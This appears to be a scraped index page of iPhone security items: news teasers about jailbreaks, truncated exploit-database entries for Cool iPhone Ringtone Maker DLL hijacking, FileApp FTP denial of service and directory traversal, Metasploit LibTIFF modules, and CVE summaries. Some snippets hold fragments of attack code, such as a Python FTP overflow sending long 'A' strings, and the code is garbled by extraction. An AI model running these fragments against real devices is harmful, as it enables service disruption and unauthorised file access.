iPhone Jailbreak Tool Sets Stage for Mobile Malware

SAN DIEGO–The success of a group of hackers in compromising the security of Apple’s iPhone may set the stage for more malware for the popular handset, including rootkit-style remote monitoring tools and data stealing malware. In a presentation at the ToorCon Hacking Conference here on Saturday,...

Cool iPhone Ringtone Maker 2.2.3 - 'dwmapi.dll' DLL Loading Arbitrary Code Execution

// source: https://www.securityfocus.com/bid/44205/info Cool iPhone Ringtone Maker is prone to a vulnerability that lets attackers execute arbitrary code. An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share locatio...

Cool iPhone Ringtone Maker 2.2.3 - dwmapi.dll DLL Loading Arbitrary Code Execution

Cool iPhone Ringtone Maker 2.2.3 - dwmapi.dll DLL Loading Arbitrary Code Execution // source: https://www.securityfocus.com/bid/44205/info Cool iPhone Ringtone Maker is prone to a vulnerability that lets attackers execute arbitrary code. An attacker can exploit this issue by enticing a legitimate...

Cool iPhone Ringtone DLL Hijacking

=================================================== Cool Iphone Ringtone DLL Hijacking Exploit dwmapi.dll =================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //...

Cool Iphone Ringtone DLL Hijacking Exploit (dwmapi.dll)

Exploit for windows platform in category local exploits ======================================================= Cool Iphone Ringtone DLL Hijacking Exploit dwmapi.dll ======================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 ...

CanSecWest

Vancouver, British Columbia, Canada Another smaller, regional hacking show, the CanSecWest Applied Security Conference started to get broader attention after organizers began offering prizes for compromising the security of popular platforms like the Apple MacBook and iPhone. Now in its 11th year...

FileApp For iPhone / iPad / iPod FTP Denial Of Service

Title : FileApp \n" print "Example:./FileApp 10.10.10.10\n" if lensys.argv 2: Usage sys.exit1 else: hostname = sys.argv1 username = "\x41" 5000 passwd = "[email protected]" username = "anonymous" passwd = "\x41" 5000 sock = socket.socketsocket.AFINET, socket.SOCKSTREAM try: sock.connecthostname, 2121 print...

FileApp For iPhone / iPad / iPod Touch Directory Traversal

Title : FileApp ftp ftp open To 192.168.1.100 2121 Connected to 192.168.1.100. 220 FileApp - FTP Server User 192.168.1.100:none: 331 Password please. Password: 230 User logged in. ftp dir 200 PORT 192.168.1.106:46885 OK 150 BINARY data connection established. drwxr-xr-x 2 501 501 1564 Sep 29 18:1...

FileApp < 2.0 for iPhone, iPad and iPod Touch Directory Traversal

Exploit for hardware platform in category remote exploits ================================================================= FileApp ftp ftp open To 192.168.1.100 2121 Connected to 192.168.1.100. 220 FileApp - FTP Server User 192.168.1.100:none: 331 Password please. Password: 230 User logged in. f...

FileApp < 2.0 for iPhone, iPad and iPod FTP Remote Denial of Service

Exploit for windows platform in category dos / poc ==================================================================== FileApp \n" print "Example:./FileApp 10.10.10.10\n" if lensys.argv 2: Usage sys.exit1 else: hostname = sys.argv1 username = "\x41" 5000 passwd = "email protected" username =...

iOS FileApp 2.0 - Directory Traversal

iOS FileApp 2.0 - Directory Traversal Title : FileApp ftp ftp open To 192.168.1.100 2121 Connected to 192.168.1.100. 220 FileApp - FTP Server User 192.168.1.100:none: 331 Password please. Password: 230 User logged in. ftp dir 200 PORT 192.168.1.106:46885 OK 150 BINARY data connection established...

iOS FileApp 2.0 - FTP Remote Denial of Service

iOS FileApp 2.0 - FTP Remote Denial of Service Title : FileApp \n" print "Example:./FileApp 10.10.10.10\n" if lensys.argv 2: Usage sys.exit1 else: hostname = sys.argv1 username = "\x41" 5000 passwd = "[email protected]" username = "anonymous" passwd = "\x41" 5000 sock = socket.socketsocket.AFINET,...

iOS FileApp < 2.0 - Directory Traversal

Title : FileApp ftp ftp open To 192.168.1.100 2121 Connected to 192.168.1.100. 220 FileApp - FTP Server User 192.168.1.100:none: 331 Password please. Password: 230 User logged in. ftp dir 200 PORT 192.168.1.106:46885 OK 150 BINARY data connection established. drwxr-xr-x 2 501 501 1564 Sep 29 18:1...

iPhone Jailbreaking, Greenpois0n and SHAtter Trojans

By Costin Raiu When iPhone jailbreaking was declared legal earlier this year, Apple fans from all around the world rejoiced. Sites such as Jailbreakme.com, which allowed for the simple and straightforward jailbreaking of older iPhones, became very popular. Indeed, the keyword here is “older”...

Apple iPhone MobileSafari LibTIFF - 'email' Remote Buffer Overflow (Metasploit) (2)

$Id: safarilibtiff.rb 10394 2010-09-20 08:06:27Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework...

Apple iPhone MobileSafari LibTIFF - 'browser' Remote Buffer Overflow (Metasploit) (1)

$Id: safarilibtiff.rb 10394 2010-09-20 08:06:27Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework...

iPhone MobileMail - LibTIFF Buffer Overflow (Metasploit)

$Id: mobilemaillibtiff.rb 10394 2010-09-20 08:06:27Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

New Jailbreak Could Defy Patching on iPhones, iPads

Code that allows Apple customers to circumvent that company’s exclusive content protection features was released on Wednesday, with security researchers warning that the hack could be impossible for Apple to fix on devices that have already been manufactured. The Chronic Development Team, a group...

CVE-2010-1815

Use-after-free vulnerability in WebKit in Apple iOS before 4.1 on the iPhone and iPod touch, and webkitgtk before 1.2.6, allows remote attackers to execute arbitrary code or cause a denial of service application crash via vectors involving scrollbars...

CVE-2010-1813

WebKit in Apple iOS before 4.1 on the iPhone and iPod touch allows remote attackers to execute arbitrary code or cause a denial of service memory corruption and application crash via vectors involving HTML object outlines...